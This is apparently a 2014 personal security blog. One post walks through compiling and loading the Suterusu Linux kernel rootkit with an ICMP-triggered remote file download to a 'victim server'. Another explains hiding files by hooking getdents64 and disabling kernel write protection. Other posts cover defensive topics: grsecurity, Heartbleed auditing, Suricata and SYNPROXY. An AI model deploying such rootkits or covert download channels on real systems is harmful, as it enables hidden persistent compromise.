Sunday, August 10, 2014

An awesome linux kernel rootkit: Suterusu

I've been fuc*ing busy since I left SuSE about two months ago. I have a lot of time to hack/learn anything I want. Well, rootkit is one of my TODO things, as always. I wrote a dumb rootkit a half year ago. It's using an old good method to hiding file: hijack some syscalls. There's a better solution called "inline hook". Suterusu is the one implemented a inline hook framework. I don't want to explain the detail of how Suterusu was implemented. Cuz' no one( in the most cases) would do the job better than the original author: Michael Coppola already wrote a good article "Suterusu Rootkit: Inline Kernel Function Hooking on x86 and ARM".

I always want to make some open source rootkits work on the latest version of GNU/Linux. Damn...I'd be exhausted if I really do that. There are bunch of rootkits( adore-ng, ddrk, kbeast-v1, wnps, etc) out there and out-of-dated for years. Although you might find some "modern" ones like maK_it, kernel-rootkit-2.6.32, etc...but..there's always a annoying "but"...these rootkits are either lacking of inline hook framework or can't support a diverse linux kernel versions. I've test Suru on a dozen of different linux kernels, from 2.6.35 to 3.13.1. Now I'm going to share two stories of mine( of course, it's Sur-related;-)):

1, A friend asked for advice about rootkit selection, of course I'd never hesitate to tell him to use Suru. When he tried to use it, he found out he couldn't compile it on kernel-3.14.1. Then I modified a few lines of code and then it works.

2, Another friend( a pentester) asked me if I can make any rootkit work on CentOS 6.5 with 2.6.32-431.el6 x86_64. I tried Suru and found out it was not support 2.6.32 yet. Then I've add less than 100 LOC and then it works.

Suru is an awesome rootkit. I'm sure a lot of people are using it. Today I found out two features of Suru called "ICMP" and "DLEXEC" that I never look into it. A friend( still that pentester) told me it can be used as a covert channel to transfer files. I write a triggering program that could craft a specific ICMP header/payload and send it to the "victim server". When the victim receives the packet, it will download a file from a specific server.

1. Download the Suterusu for both "victim" and "attacker".

2. The victim is using CentOS 6.5:
root@centos-rktesting ~]# uname -r

2.1 Install some necessary packages:
yum install -y kernel-devel.x86_64 gcc vim

2.2 Compile & load the rootkit:
[root@centos-rktesting suterusu]# make linux-x86_64 KDIR=/usr/src/kernels/2.6.32-431.23.3.el6.x86_64/ ICMP=y DLEXEC=y
make ARCH=x86_64 EXTRA_CFLAGS="-D_CONFIG_X86_64_ -D_CONFIG_DLEXEC_ -D_CONFIG_ICMP_" -C /usr/src/kernels/2.6.32-431.23.3.el6.x86_64/ M=/root/suterusu modules
make[1]: Entering directory `/usr/src/kernels/2.6.32-431.23.3.el6.x86_64'
  CC [M]  /root/suterusu/main.o
  CC [M]  /root/suterusu/util.o
  CC [M]  /root/suterusu/module.o
  CC [M]  /root/suterusu/dlexec.o
  CC [M]  /root/suterusu/icmp.o
  LD [M]  /root/suterusu/suterusu.o
  Building modules, stage 2.
  MODPOST 1 modules
  CC      /root/suterusu/suterusu.mod.o
  LD [M]  /root/suterusu/suterusu.ko.unsigned
  NO SIGN [M] /root/suterusu/suterusu.ko
make[1]: Leaving directory `/usr/src/kernels/2.6.32-431.23.3.el6.x86_64'

[root@centos-rktesting suterusu]# insmod suterusu.ko

3. The attacker can use anything GNU/Linux distro as you want, compile the file server and designate the file you want it to be transferred:
shawn@shawn-fortress /tmp/suterusu $ sudo ./a.out 8556
Bound to port 8556, waiting for connection...

3.1 Open a new terminal:
shawn@shawn-fortress /tmp/suterusu $ cd test/
shawn@shawn-fortress /tmp/suterusu/test $ ls
shawn@shawn-fortress /tmp/suterusu/test $ ./

 4. Go to the victim's machine, check:
[root@centos-rktesting ~]# cat /root/.tmp

Typical compilation steps:



That's it! Show time is over! It's quite simple, ah? I really appreciate Michael Coppola released Suterusu under free/open source software license. And I also thank him brings us good writings;-)

btw: What next? I probably go to try some memory forensics, to see if I could hunt some rootkits;-)

Have fun & good hunting!!!

May the L0rd's hacking spirit guide us!!!

Further readings:
[1] RFC-792

[2] Python documentation:

[3] TCP/IP protocols

[4] Sock-RAW

Wednesday, May 14, 2014

Simple Grsecurity RBAC policy with kernel 3.14.1 on Debian 7.4

Speaking of kernel hardening, I personally like Apparmor and sick of SELinux( you know why). pi3's paper on Phrack Issue 67 was the 1st place I've met Grsecurity/Pax. I never forget that 30-sec would help the people to build the defense in depth;-) Then I went to read some Phrack papers from old good hacking days that I missed. Then I know they are the original authors of ASLR...and much more. No doubt that Grsecurity/Pax is one of the most respected old school communities......Note: Grsecurity/Pax don't use LSM since LSM breaks the principle of build-security-in, which should treat the security as whole. I think it's time to explore....

Download kernel:

Download grsecurity patch:

Patch the kernel with grsecurity:
xz -d linux-3.14.1.tar.xz
tar xvf linux-3.14.1.tar
cd linux-3.14.1/
patch -p1 < ../grsecurity-3.0-3.14.3-201405121814.patch

You can use my kernel config:

Or make your own config via "make menuconfig". Then compile the kernel:
make -j3 deb-pkg

It will help you build deb packages. All you need to do is install them:
dpkg -i ../*.deb

Now, the kernel part is done. Download gradm( RBAC administrator utility):

tar zxvf gradm-3.0-201401291757.tar.gz
cd gradm/
make && make install

Reboot the machine:
shutdown -r now

Now, you need to set a bunch of annoying passwords:
root@d6-test:/etc/grsec# gradm -P
Setting up grsecurity RBAC password
Re-enter Password:
Password written to /etc/grsec/pw.
root@d6-test:/etc/grsec# gradm -P admin
Setting up password for role admin
Re-enter Password:
Password written to /etc/grsec/pw.
root@d6-test:/etc/grsec# gradm -P shutdown
Setting up password for role shutdown
Re-enter Password:
Password written to /etc/grsec/pw.

Add this:

into the tail of /etc/grsec/policy

What I did in the above policy was I created role shawn as a user, with some default polices, like /bin is executable only, etc. Then I set a binary /home/shawn/grsec_test/a.out has read permission on /home/shawn/hello and write permission on /home/shawn/world and run another shell is not allowed.  You can use my code to test the policy:

btw: I tested the poc of CVE-2014-0196 on kernel-3.13 and it crashed the kernel. I tested it on kernel-3.14.1 with Grsecurity and it doesn't work. But this issue should be affected on 3.14.1...ah, I think Grsecurity works in some "mysterious" ways to prevent this poc. I'll dig deeper about this amazing hardening implementation.

Further readings:
[1] Grsecurity wiki

[2] Documentation for the PaX project

[3] Grsecurity Blog

Wednesday, April 16, 2014

Audit: don't only focus on heartbleed issue

I received the info about heartbleed issue on Apr 8 andI found out SLES-11 are using OpenSSL 0.9.8 branch code, which is not vulnerable to heartbleed issue. Then I patched it for OpenSuSE 13.1/12.3. It was easy because the patch was already there.

After an exciting and crazy week. People are getting calm and plan or already start to doing audit on their system. But there are something you might miss. The older version of OpenSSL( like 0.9.8) might not affected by heartbleed issue but it doesn't mean you are secure. Don't forget the old OpenSSL are still vulnerable to BEAST( 2011), CRIME( 2012), Lucky-thirteen( 2013). I do believe Lucky-thirteen is far more dangerous than heartbleed, we just don't know. Once you start the audit, plz upgrade the OpenSSL to the latest version. If you are using 0.9.8, plz upgrade to 0.9.8y, which is not vulnerable to Lucky-13 issue.

Fix heartbleed issue for website is much easier than the networking devices( Firewall, UTM, SSL/IPSEC VPN, etc) and the 3rd-party software. This definitely gonna impacting for long term.

I'd like to share some materials( you might already known).

Heartbleed issue technical analysis:

I totally agree with the last point from this article:

To these major companies are highly reply on the open source TLS implementation( OpenSSL, GnuTLS, etc) should give them funding, to make them more secure and stable.

EFF is always right about how to aginst massive surveillance by agencies
like NSA. PFS is so fuc*ing important especially today. I think we should use TLS 1.2.

Performance hit probably is one of reasons that PFS is so important but the fact is only afew websites using it:

Test top-1m websites:


Client PoC:

One more thing, to those who are still complaining about the security of free/open source software is worse than closed software. Well, I don't want to argue here. But, I'm giving you type of people 3 options:
1, Join the community, help the FOSS community to do code audit.
2, Make some donations to the organizations who really cares about your privacy and do the code audit for us. Like EFF, I'm fuc*ing pround of I'm member of EFF.....
3, G O   H O M E   A N D   F U C K   Y O U R S E L F   ! ! !

Monday, March 31, 2014

Suricata's file extraction on Debian GNU/Linux

Suricata is a high performance open source IDS/IPS project. I used it a long time ago around 2010 when it was released. I've been playing with Snort recently and then found Suricata has a great feature: File extraction. It'd be helpful to those who want to get malware samples from IDS. Anyway, like old days, I want to test it on my own and see how it works on Debian. First things first, I need to build it and see if it works.

Download a latest version of the small installation ISO image. I need to clarify my testing environment: Debian is running on my virtual machine, which has two NICs are eth0 and eth1. Interface eth0 is running on NAT mode and eth1 is running bridge mode.  Debian don't assign any IP addr to eth1.

Because our Debian is the small installation. So we have to install some dependency packages via simply apt-get:

#apt-get install vim openssh-server ethtool libpcap-dev libnfnetlink-dev libnetfilter-queue-dev libdnet-dev libdumbnet-dev libpcre3-dev libpcre3-dbg bison flex make zlib1g-dev autoconf libtool libnss3-dev libnspr4-dev libjansson4 libjansson-dev libyaml-dev libcap-ng0 libcap-ng-dev libnet1-dev libmagic-dev build-essential

Get the source code of Suricata:
#cd /tmp
#wget wget
#tar zxvf suricata-2.0.tar.gz
#cd suricata-2.0

Compile and installation:
#./configure --enable-nfqueue --enable-gccprotect --prefix=/usr/local/suricata --localstatedir=/var
#make -j3
#make make-full

Edit suricata.yaml:
1, Set the request/response body a litte bigger:
           request-body-limit: 1gb #3072
           response-body-limit: 1gb #3072

2, Enable file extraction:
  - file-store:
      enabled: yes       # set to yes to enable
      log-dir: files    # directory to store the files
      force-magic: no   # force logging magic on all stored files
      force-md5: no     # force logging of md5 checksums
      waldo: file.waldo # waldo file to store the file_id across runs

  # output module to log files tracked in a easily parsable json format
  - file-log:
      enabled: yes
      filename: files-json.log
      append: yes
      #filetype: regular # 'regular', 'unix_stream' or 'unix_dgram'

3, Add our "test" rule file( test.rules in this case) into the section "default-rule-path:", like:
default-rule-path: /usr/local/suricata/etc/suricata/rules
 - test.rules
 - botcc.rules

Create a rule file:

Add one line into test.rules( to save any jpg files) :
alert http any any -> any any (msg:"FILESTORE jpg"; fileext:"jpg"; filestore; sid:6; rev:1;)

Enable the eth1:
#ifconfig eth1 up

According to the Suricata's wiki, we should turn off the TCP GSO:
ethtool -K eth1 tso off
ethtool -K eth1 gro off
ethtool -K eth1 lro off
ethtool -K eth1 gso off
ethtool -K eth1 rx off
ethtool -K eth1 tx off
ethtool -K eth1 sg off
ethtool -K eth1 rxvlan off
ethtool -K eth1 txvlan off
ethtool -N eth1 rx-flow-hash udp4 sdfn
ethtool -N eth1 rx-flow-hash udp6 sdfn
ethtool -n eth1 rx-flow-hash udp6
ethtool -n eth1 rx-flow-hash udp4
ethtool -C eth1 rx-usecs 1000
ethtool -C eth1 adaptive-rx off

Run the Suricata with this command:
/usr/local/suricata/bin/suricata -c /usr/local/suricata/etc/suricata//suricata.yaml -i eth1

Use your firefox/chrome on your host machine, and visit some website, like this.

You should see some girl pictures in /var/log/suricata/files  ;-)

btw: Thanks to Suricata community brings us this fuc*ing awesome IDS/IPS project. Special thanks to Peter Manev.

Wednesday, March 19, 2014

SYNPROXY: the great DoS mitigation solution

I don't expect to can see a perfect DoS solution in my lifetime;-) As we known, there are tons of commercial gateway-level boxes can mitigate the DoS attack in some ways. But I prefer the combination of x86+GNU/Linux, like the most old school guys. Why? My answer is simple: It's the fuc*ing cheapest solution we have. SYNPROXY is one of  new features of linux kernel 3.13. It's based on netfilter framework and connection tracking. If I understand correctly, SYPROXY should mark the initial SYN packet as UNTRACKED and redirecting them into iptables's action "SYNPROXY"( like ACCEPT, DROP, NF_QUEUE, etc). SYNPROXY would be acting like a network gateway device( router?) to performing the regular TCP x-way handshakes. The original packet will be passing into the dst when handshake process is finished. The contributor Jesper Dangaard Brouer gave us a free speech at DEVCON last month. According to his slide's test result, these numbers are really looking good. I did a little test with my colleague today.

Platform: Debian, SLES-12-beta2
Hardware: Laptop, Server, 100Mbps Switch
Tools: hping3, metasploit

root@d6-test:/home/shawn# iptables -t raw -A PREROUTING -i eth0 -p tcp --dport 8888 --syn -j NOTRACK
root@d6-test:/home/shawn# iptables -A INPUT -i eth0 -p tcp --dport 8888 -m state --state UNTRACKED,INVALID -j SYNPROXY --sack-perm --timestamp --mss 1480 --wscale 7 --ecn
echo 0 > /proc/sys/net/netfilter/nf_conntrack_tcp_loose

Without SYNPROXY: ksoftirq is around 8%-9%
With SYNPROXY: ksoftirq is less than 3%

btw: This result may not be very accurate. Anyway, SYNPROXY works.

Thursday, February 06, 2014

Simple linux rootkit on Debian with kernel 3.13

I've wasted a lot of time in 2013. I've always find some shity execuses, like "I'm fucking busy recently" to delay my hacking journey of kernel rootkit. This was supposed to be done a couple of months ago. Thank L0rd! I found a slot during Chinese new year vacation at my hometown. I begun the adventure of rootkit hacking. I've read a bunch of great Phrack papers from the old good hacking days. It's old but it'd help.

[Weakening the Linux Kernel, Phrack Magazine Volume 8, Issue 52
January 26, 1998, article 18 of 20]

[Advances in Kernel Hacking, Volume 0x0b, Issue 58, Phile #0x06 of

[Handling Interrupt Descriptor Table for fun and profit, Volume 0x0b,
Issue 59, Phile #0x04 of 0x12]

[Kernel Rootkit Experiences, Volume 0x0b, Issue 61, Phile 0x0e of

[Mistifying the debugger, Volume 0x0c, Issue 65, Phile #0x08 of

Especially thanks to THC's paper, which was released in 1999:
[Complete Linux Loadable Kernel Modules]

I wrote a simple rootkit that can only hide a specific file. Just a
few old school steps could make its feature possible:

Firstly, we need to retrieve the system call table. But it's no longer
exported since 2.6. Fortunately, there's still a few system calls are
exported. sys_close() is one of them:
root@d6-test:/home/shawn# grep sys_close /boot/
c10e0aa1 T sys_close
c140fdc4 R __ksymtab_sys_close
c141815c r __kcrctab_sys_close
c1420e33 r __kstrtab_sys_close

I used a brute force way to locate that system call. I learned it from
memset's blog:

Start mem addr would be 0xc0000000, then it would try it repeatly unti
it locate sys_close()'s addr.

Then, write protection bit in cr0 has to be shut down. WP bit is the
16th bit in cr0 register.

31  30  29  28          19  18  17  16  15         6  5  4  3  2  1  0
|PG|CD |NW|-----------------|AM|---|WP|--------------|NE|ET|TS|EM|MP|PE|

After we done above steps, we are able to hijack the system call we
want. Here I choose to hijack getdents64(). Why? Because all I wanna
do is hide a specific file from "ls". Let's see what "ls" would
usually do:
// begin.........
execve("/bin/ls", ["ls"], [/* 16 vars */]) = 0
brk(0)                                  = 0x8366000
access("/etc/", F_OK)      = -1 ENOENT (No such file or directory)
mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7791000
access("/etc/", R_OK)      = -1 ENOENT (No such file or directory)
open("/etc/", O_RDONLY)      = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=19346, ...}) = 0
// look, that's it
getdents64(3, /* 17 entries */, 32768)  = 544
getdents64(3, /* 0 entries */, 32768)   = 0
close(3)                                = 0
fstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 2), ...}) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7790000
// then it would display them in the standard out(1)
write(1, "a.out  dirent.c  dirent.c~  insi"..., 107a.out  dirent.c  dirent.c~  insight-lab  libmnl  libnftables  linux-3.13  linux-3.13.tar  my_tmp  nftables
) = 107

The only struct from kernel we have to face is:
           struct linux_dirent {
               unsigned long  d_ino;     /* Inode number */
               unsigned long  d_off;     /* Offset to next linux_dirent */
               unsigned short d_reclen;  /* Length of this linux_dirent */
               char           d_name[];  /* Filename (null-terminated) */
                                   /* length is actually (d_reclen - 2 -
                                      offsetof(struct linux_dirent, d_name) */
               char           pad;       // Zero padding byte
               char           d_type;    // File type (only since Linux 2.6.4;
                                         // offset is (d_reclen - 1))


d_reclen is size of the current linux_dirent64, it does matters. Plz
read the fucking source code for any detail! Well, like in good old days, I drew an ascii big picture here.

May the L0rd's hacking spirit guide us!!!